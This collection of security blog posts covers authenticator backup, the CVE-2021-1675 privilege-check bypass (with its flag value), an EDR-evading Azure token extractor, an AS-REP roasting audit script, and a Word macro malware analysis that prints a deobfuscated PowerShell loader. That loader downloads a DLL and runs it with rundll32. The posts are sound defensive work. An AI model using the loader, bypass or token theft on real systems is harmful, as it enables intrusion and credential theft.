Microsoft Authenticator

Microsoft Authenticator

Most people use a password manager to store passwords, but did you think about recovering your passwords when you lost all your devices? How to get into your password manager when Multi-Factor Authentication is enabled? If you are using the Microsoft Authenticator app, you might want to look at the recovery feature.

This blog post explains why I switched from the Microsoft Authenticator app to the Raivo OTP app by Tijme Gommers for all my verification codes.

Before I tell you why I switched to another authenticator app, I will go through some of the missing features in the Microsoft Authenticator app.

Microsoft Authenticator Missing Features

I am a long-time user of the Microsoft Authenticator app, but some missing features do not make sense. Why can I not search for an entry, for example? Having so many accounts makes me miss a simple search feature. Sure, I can order the entries, but I would like to have a search box better. Why is there no auto-order option either? Manually ordering all entries is a pain, and a simple auto-order would be nice.

I am missing the option to view the token seed of an entry as well. If I could back up a token seed, I can recover a single verification code. The possibility for an encrypted export would also be a desirable feature.

Simple features like icons are not a must but would be a welcomed feature. My biggest concern, though, is the backup and recovery feature.

Microsoft Authenticator Backup and Recovery

When using an iOS device, you will need an iCloud account and a personal Microsoft account to back up the Microsoft Authenticator. When I lose all my devices due to theft or a natural disaster, I can not access my iCloud account since my iCloud account needs Multi-Factor Authentication, which I am trying to restore. The same goes for my personal Microsoft account. So restoring the Authenticator backup is a challenge. I can write down the password for these accounts, but I am still missing Multi-Factor Authentication, and I do not want to have weaker Multi-Authentication methods like text messages.

Let us say I lost all my devices due to theft or any natural disaster. The first thing I would like to access is the password manager to access my passwords. My current password manager contains three pieces of information: An account, a master password, and a recovery code.

I enabled the account with Multi-Factor Authentication, which I did not recover yet. To recover the backup for the Microsoft Authenticator app, I will need my iCloud and personal Microsoft account. The password manager contains the passwords for both accounts. I cannot access my passwords since I do not have access to the password manager due to Multi-Factor Authentication.

A simple fix would be to back up the token seed for those accounts, which I can write down and store in a secure place, but the Microsoft Authenticator app does not support that.

Recovering an iCloud and personal Microsoft account with Multi-Factor Authentication enabled is not that easy either due to a strict process, if it is even possible.

I created an overview to see what I need to recover my passwords when Multi-Factor Authentication is enabled:

Image 1: Overview recover methods

Maybe it is an idea to create the same to see if you do not lock yourself out when recovering all your passwords.

Raivo OTP

All missing features mentioned above are available in the Raivo OTP app, but most importantly, I can back up a single token seed for a single entry. With this single token seed, I can recover my iCloud account, which contains the encrypted database for Raivo OTP. The only thing I need to write down is:

  1. The recovery code for my password manager
  2. The iCloud token seed for Multi-Factor Authentication recovery

If I write down the recovery code for my password manager and the token seed for my iCloud account, I can recover all my passwords with Multi-Factor Authentication enabled.

Since the Raivo OTP app supports insight to your token seeds, I switched from the Microsoft Authenticator app to the Raivo OTP app.

The Raivo OTP app is easy to use, is secure, has many excellent features, supports insight into your token seeds, and more.


I want to end on a positive note. Microsoft Authenticator does have excellent features like push notifications, notification when an authentication method got deleted from my Microsoft account, and Apple Watch support. Even though these are fantastic features, I switched to the Raivo OTP app by Tijme Gommers for all my verification codes due to the backup and recovery feature.

Please rethink if you can recover all your passwords from your password manager and all account with Multi-Factor Authentication enabled.

Microsoft Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained

Microsoft Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained

I guess most of you heard about the Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) in the last couple of weeks. It is a vulnerability that gives an attacker high privileges when they own a regular user account on all print spooler service-enabled devices. Unfortunately, it runs on all Windows Operating Systems by default. In this blog post, I will go into the technical aspect of this vulnerability. Remember that CVE-2021-1675 is NOT the same as the Printnightmare (CVE-2021-34527) vulnerability.

Windows Print Spooler Elevation of Privilege

Vulnerability CVE-2021-1675 is an authentication bypass vulnerability found in the AddPrinterDriverEx function.

The AddPrinterDriverEx function installs a local or remote printer driver and links the configuration, data, and driver files. According to Microsoft, “The caller must have the SeLoadDriverPrivilege” privileges to install a driver.

Using whoami, you can check which privileges you have for the current process:

Image 1: whoami /priv output

To set the SeLoadDriverPrivileges privileges, you can use a local or domain policy:

Image 2: Group Policy: Load and unload device drivers

Note: Default for workstation and servers administrators have these privileges and default on a domain controller it is the Administrators and Print Operators. The administrator groups’ default groups and users are Domain Administrators, Enterprise Administrators, and the administrator account.

The vulnerability found is that you can bypass the check for SeLoadDriverPrivilege privileges. So basically, any authenticated user can install a local or remote printer driver. When installing a driver, the Microsoft Windows Print Spooler service loads the driver after installing. An attacker uses this to their advantage by installing a malicious payload.

Authentication Bypass

Let us look at the AddPrinterDriverEx function first. To run this function successfully, it requires a set of parameters:

BOOL AddPrinterDriverEx(
  _In_    LPTSTR pName,
  _In_    DWORD  Level,
  _Inout_ LPBYTE pDriverInfo,
  _In_    DWORD  dwFileCopyFlags

The most interesting parameter is the dwFileCopyFlags parameter but more on that later.

Let us first attach the spooler service process and see what libraries are loaded. One of the dependencies used by the spooler service is localspl.dll:

Image 3: Loaded libraries by the print spooler

Note: The library localspl.dll handles all print jobs directed to printers managed from the local server.

One of the functions localspl.dll contains is SplAddPrinterDriverEx. Here is the SplAddPrinterDriverEx function in pseudocode using Ghidra:

Image 4: Function in pseudocode using Ghidra of SplAddPrinterDriverEx

Here it finally gets more technical!

The issue here is that param_4, passed in the SplAddPrinterDriverEx function, is user-controllable, and later in the function, param_4 is used in an if statement.

Image 5: if statement with param_4

So if you can control param_4, you can control the if statement. And guess what param_4 is: Correct, dwFileCopyFlags used in the AddPrinterDriverEx function!

So the dwFileCopyFlags, which you use as an argument for the AddPrinterDriverEx function, lets you control the if statement in SplAddPrinterDriverEx. Let us see why this is important.

Looking at the pseudocode, FUN_180020258 is the function to check if the user has SeLoadDriverPrivilege privileges. This function only runs when you enter the if statement. So, skipping this if statement skips the check for SeLoadDriverPrivilege privileges. The if statement only runs if uVar5 is not equal to 0. Luckily for us, uVar5 is set in the if statement, which we control.

To see what is going on, we need to switch to Assembly language:

Image 6: Assembly code of the SplAddPrinterDriverEx function

The BT instruction stands for bit test. Bit Test selects the bit in a bit string (specified with the first operand, called the bit base) at the bit-position designated by the bit offset (specified by the second operand) and stores the value of the bit in the CF flag.

The bit base is DwFileCopyFlags, and the bit-position is 0xf. CMOVNC follows the BT instruction, which stands for “Move if not carry (CF=0)”.

So the bit test instruction selects a bit in DwFileCopyFlags at bit-position 0xf and stores the bit in the CF flag. CMOVNC checks if CF=0, then the condition is satisfied, and uVar5 will be the value of param_7. When uVar5 is not equal to 0, the check for SeLoadDriverPrivilege privileges never executes:

Image 7: if statement which skips the SeLoadDriverPrivilege privileges check

The bit base used in the bit test instruction is DwFileCopyFlags, so we need to look at those flags closer. Using WinDbg, we can see what value DwFileCopyFlags contains when executing the vulnerability:

Image 8: DwFileCopyFlags value of 18014

So the value is 0x8014. When looking at the Proof of Concept code, the argument for DwFileCopyFlags is:

private const uint APD_COPY_ALL_FILES = 0x00000004;
uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000;

0x00000004 or 0x10 or 0x8000 = 0x8014:

Image 9: Output of 4 OR 10 OR 8000 = 8014

In binary, it is 1000 0000 0001 0100. So the bit test checks if the 15th bit (0xf in hexadecimal) is equal to 0, and if it is, it will enter the if statement.

In this case, the 15th bit is a 1, and uVar5 is set, which results in skipping the SeLoadDriverPrivilege privileges check:

Image 10: Skipping SeLoadDriverPrivilege privileged check at CALL FUN_180020258

Here is the output of the SeLoadDriverPrivilege privileged skip in WinDbg:

Image 11: Output of the SeLoadDriverPrivilege privileged skip in WinDbg

Anyone that can find another combination where the 15th bit is ‘1’ can probably bypass a patch released by Microsoft.


As mentioned in the beginning: CVE-2021-1675 is NOT the same as the Printnightmare (CVE-2021-34527) vulnerability. Vulnerability CVE-2021-1675 is a local elevation of privilege escalation, and CVE-2021-34527 is a remote code execution vulnerability but more on that in a future blog post!

So, in short, if the 15th bit (counting from 0) is equal to 1, the SeLoadDriverPrivilege check is skipped.

Proof of Concept

I created a C# proof of concept and pushed it to my GitHub to play with the vulnerability.


It took almost 1000 words to explain that the SeLoadDriverPrivilege is skipped when the 15th bit is set to one, but it is an awesome bug, and looking at the many CVE’s in the print spooler, this vulnerability will not be the last.

Special thanks go out to mez0 for not being too annoyed by my stupid questions.

Microsoft JSON Web Token Extractor

Microsoft JSON Web Token Extractor

When connecting to Azure using, for example, the PowerShell Az module, a JSON Web Token is created and sometimes stored in plain text on disk and memory. I will show where to find the JSON Web Tokens on disk in this blog post, including a tool I wrote to get JSON Web Tokens from memory that contains the JSON Web Tokens, including those found on disk.

JSON Web Tokens

To securely exchange information between parties, authenticating and authorizing a JSON Web Token is commonly used.

A JSON Web Token encodes any sets of identity claims into a payload, including a header that contains how it is to be signed.

The client authenticates to an Identity Provider, and the Identity Provider creates and signs, using a private key, a JSON Web Token. When the client connects to a service, it provides the signed JSON Web Token. The service validates the token using the public key of the Identity Provider and authenticates the client.

Image 1: JSON Web Token Authentication

Let us look at a JSON Web Token example:

Image 2: JSON Web Token example

The encoded part consists of three parts: A header, a payload, and a verify signature. If you tamper with the header or payload, the signature is not valid, and the token becomes invalid.

So, in short, having a valid JSON Web Token is the key to the kingdom.


The first and most obvious path to look for JSON Web Tokens is the HistorySavePath.

HistorySavePath is a setting that saves all PowerShell console history. When a user or admin connects to Azure using PowerShell, the command is stored to file in plain text.

Image 3: HistorySavePath
Image 4: Logging saved to file

Note: Since HistorySavePath loads when PowerShell starts, “Microsoft JSON Web Token Extractor” also displays these tokens.

User Profile

Depending on how a user or admin connects to Azure, the following JSON files contains the JSON Web Token in plain text:

Image 5: File location for JSON Web Tokens

Note: Since the JSON files load when PowerShell starts, “Microsoft JSON Web Token Extractor” also displays these tokens.

Script Block Logging

Script Block Logging saves blocks of code as PowerShell executes them. When a user or admin runs the following command in PowerShell and Script Block Logging is enabled, the event viewer contains the JSON Web Token.

Note: Script Block Logging setting is disabled by default but enabled by many companies due to monitoring.

Microsoft JSON Web Token Extractor

A JSON Web Token is created in memory when connecting to Azure using PowerShell using the following command:

I wondered if I could extract the JSON Web Token from memory without dumping anything on disk to avoid a trigger from any Endpoint Detection and Response solution.

The result is a C# tool to extract all JSON Web Tokens found in memory used by PowerShell, including those found on disk.

Image 6: Microsoft JSON Web Token Extractor


My idea was to jump from on-premises to the cloud without dumping the process to disk using standard tools. The token still needs to be valid, and a user or an admin needs to connect to Azure using PowerShell, but if they do, an attacker can connect to the cloud without touching any other device in the network and stay low-profile.

Microsoft Word Malware Example

Microsoft Word Malware Example

Most malware creators are very creative. Hiding content, obfuscate malicious code, or trick people into clicking messages forcing the malware to run. This blog post will go through real-world Microsoft Word malware to show how nifty some malware can be.

Malicious Word Document

In this example, I will use a real-world example found on the internet. The file is a Microsoft Word document named “Form – Apr 04_2021.doc”:

Image 1: Malicious Word document

The first thing you might notice is the file extension. Since .docx files cannot be used to store macros, malware creators often use the older .doc file extension.

Let us open the document and see what we got:

Image 2: Malicious Word document asking to enable content

Multiple things should catch your attention. Obviously, the “Enable Content” message and the image forcing people to click the “Enable Content” button. There are also 5926 words, and I do not see any words showing in the Word document itself. Lets “select all” using CTRL+A to see if there is any hidden content:

Image 3: 5926 of 5926 words selected

That is odd. Once you select all text, it shows “5926 of 5926 words” on the bottom left. It looks like some text is behind the image. Let us remove the image to see what is behind it. Unfortunately, because of an editing restriction, the image does not move, nor can it be deleted:

Image 4: The image does not move nor can it be deleted

Let us try and remove the restriction using the “Restrict Editing” option:

Image 5: Info / Protect Document / Restrict Editing

Once you click the “Restrict Editing” option, you have an option to stop the protection on the bottom right:

Image 6: Stop Protection option on the bottom right

Once you click the “Stop Protection,” no restriction is set, and the document is editable:

Image 7: No restrictions on the document

Simply deleting the image shows us the 5926 words with white font and font size 2:

Image 8: Hidden text with white font and font size 2

To see what the text contains, we select a black font and a bigger font size:

Image 9: Black font and a bigger font size

It looks like a base64 encoded string, but something is off. To understand what it is, we have to look at the macro. This particular macro uses the hidden text to create a valid base64 encoded string:

Image 10: Obfuscated macro

To bypass Endpoint Detection and Response, attackers obfuscate their macros. This particular macro uses the hidden text to create a valid base64 encoded string. We can try and de-obfuscate the macro, or we can enable PowerShell auditing and check the logging for the base64 encoded string.

Using a local policy, we can allow auditing to capture the base64 string used in this malware:

Image 11: Computer Configuration / Administrative templates / Windows Components / Windows PowerShell

Enable the macro, which starts audit logging and saves the logs in the event viewer:

Image 12: Turn on PowerShell Script Block Logging

Now that we have auditing enabled, click “Enable Content.” The following message box will appear:

Image 13: Fake macro message

Looking in the event viewer shows us a remarkable command (sYSTEm.NeT.wEbcLIEnT) with upper and lower-case characters (often used in malware to bypass signature-based scanning):

Image 14: Upper and lower-case character command to bypass signature based scanning

If we scroll down, we can see the base64 encoded command:

Image 15: Base64 encoded string often used in malware

Let us use PowerShell to decode the base64 encoded string:

Image 16: Variable with base64 encoded string

Use the following command to decode the base64 string:

Image 17: Decode base64 string

Once the base64 encoded string decoded, it still does not make a lot of sense:

Image 18: Decoded string

let us copy the code to a PowerShell editor:

Image 19: More readable code

A sharp eye notices the download file and rundll32, which loads a DLL file. You can see a variable that contains URLs, but it is hard to read. Let us use PowerShell to de-obfuscate the code:

Image 20: Copy the variable in PowerShell to de-obfuscate code

The de-obfuscated code looks like this:

Set-Variable ydTUW ([type]("System.IO.Directory"))
Set-Variable uaXKHR ([type]("System.Net.ServicePointManager"))

( Get-Item variable:ydtuw  ).value::"createDirectory"($HOME + (('{\Xk8f0bt\B7mwavb\')))
( Get-Item ('variable:UAXkHr')).value::"securityprotocol" = ('Tls12')

$Vzrcqt5 = $HOME + "\Xk8f0bt\B7mwavb\G14C.dll"

$U7_xeo1 = @("hxxp://", "hxxp://", "hxxps://", `
        "hxxps://", "hxxps://", "hxxps://", "hxxps://")

foreach ($A8ty2bf in $U7_xeo1) {
    try {
        (.('New-Object')"downloadfile"($A8ty2bf, $Vzrcqt5)
        If ((.('Get-Item') $Vzrcqt5)."length" -ge 32213) {
            &('rundll32') $Vzrcqt5, (('anystring'))."tostring"()
    catch {

The URLs used in this example do not work anymore, but if you could go to the URL, it downloads a DLL file as expected. Luckily, SmartScreen blocks all URLs as well:

Image 21: SmartScreen blocking malicious URLs


So what this malware does is the following:

  1. Hide a base64 encoded string behind a restricted editing image.
  2. Uses macros to de-obfuscate the base64 string used to download a malicious file.
  3. Runs obfuscated code in PowerShell to download a malicious DLL file and runs the DLL using rundll32.


There are a lot of mitigations for this type of attack. As for any attack, user awareness is always critical, but here are some technical mitigations:

As you can see in the last screenshot, Microsoft Defender SmartScreen blocks malicious websites. SmartScreen scans the website for malicious content and helps to identify malicious websites by blocking them. Be sure to enable Microsoft Defender SmartScreen.

Microsoft Defender for Endpoint detects this payload since the DLL file is downloaded and scanned from the disk. More sophisticated malware using a technique called “Living off the Land”, and makes it possible to run the malware in memory and not touch the disk to bypass Endpoint Detection and Response. If the DLL file is malicious, it will get flagged by a proper Endpoint Detection and Response like Microsoft Defender for Endpoint.

Disabling macros is also an option. Not everyone needs to run macros. As it is a typical attack, disabling macros for most people should be an option.

Not accepting files with the .doc or .docm extension should mitigate this type of attack as well since .docx (the newer format) does not support macros.

The Microsoft Word document needs to be delivered to the user. A typical attack is sending the Microsoft Word document by e-mail. Microsoft Defender for Office 365 blocks most malicious payload and is one of the best mitigations for this type of attack.

As you can see, there are a lot of mitigations for this type of attack. Layered security is key here, and if properly configured, most Microsoft security products block this attack.


Although malware creators are very creative, one misstep will block the malware. Even if Microsoft Defender SmartScreen does not detect the malicious website, other Microsoft security products will block this attack. Luckily this malware was blocked by Microsoft Defender for Endpoint since the malicious payload is saved to disk, which makes it easy to detect. If it was not detected, the attacker would get caught in one of the next steps for sure.

Microsoft Defender for Identity: AS-REP Roasting

Microsoft Defender for Identity: AS-REP Roasting

Microsoft released a new detection for Microsoft Defender for Identity. The detection detects a malicious request for user accounts that do not require pre-authentication, also known as an AS-REP roasting attack. This blog post will briefly explain what an AS-REP roasting attack is and how to mitigate it.

AS-REP roasting is not a new attack. The detection by Microsoft Defender for Identity is, though. People like harmj0y and many others documented AS-REP roasting well, but since the detection is new in Microsoft Defender for Identity, I will briefly go through the attack.


In my previous blog post, I explained how Kerberos works but let us go over it again.

Kerberos is an authentication protocol based on tickets. The protocol is an authentication protocol developed by MIT and adopted by Microsoft since Windows 2000. Kerberos is also complicated and hard to secure.

Here is an oversimplified overview of these ticket requests:

Image 1: Kerberos authentication

First, the user needs to authenticate. The Authentication Service, which is part of the Key Distribution Center, handles the authentication.

Note: Within a Microsoft environment, the Key Distribution Center is the Domain Controller.

The user sends a Ticket Granting Ticket (AS-REQ) request and encrypts the timestamp in the request with the users’ password hash. The encryption of the timestamp is the pre-authentication within Active Directory. Active Directory tries to decrypt the timestamp using the users’ password hash. If the decryption works, Active Directory knows the password is correct and sends a Ticket Granting Ticket (AS-REP) back to the user.

Within Active Directory, there is an option to disable the need for pre-authentication:

Image 2: Kerberos preauthentication

When pre-authentication is disabled, there is no need to encrypt the timestamp in the Ticket Granting Ticket request, making it possible for everyone, even unauthenticated users, to request a Ticket Granting Ticket for that user.

The Ticket Granting Ticket sent back to the user is encrypted with the users’ password hash. If an attacker decrypts the ticket using a rainbow table, the attacker knows the user’s password.


Some non-Microsoft products require pre-authentication to be disabled. I have not seen an organization where this is needed, but if pre-authentication needs to be disabled, use a strong and generated password for the user account to be impossible for an attacker to brute-force the password. I highly recommend enabling pre-authentication for all user accounts, though.

To check which user accounts have pre-authentication disabled, use this PowerShell script:

$searcher = [adsisearcher]"(&(objectClass=user)(objectCategory=person))"
$searcher.FindAll() | ForEach-Object {
  $user = [adsi]$_.Properties.adspath[0]
  $PreAuthRequired = -not [bool]($user.userAccountControl[0] -band 0x400000)
  if($PreAuthRequired -eq $false) {
    New-Object -Type PSCustomObject -Property @{
      SamAccountName = $user.sAMAccountName[0]

Note: Run this script using a domain user. No additional module is needed to run the script.


Any unauthenticated user can request a Ticket Granting Ticket when pre-authentication is disabled. Even though the ticket is encrypted, an attacker can brute-force the ticket to get the users’ password. Be sure no users have pre-authentication disabled within Active Directory.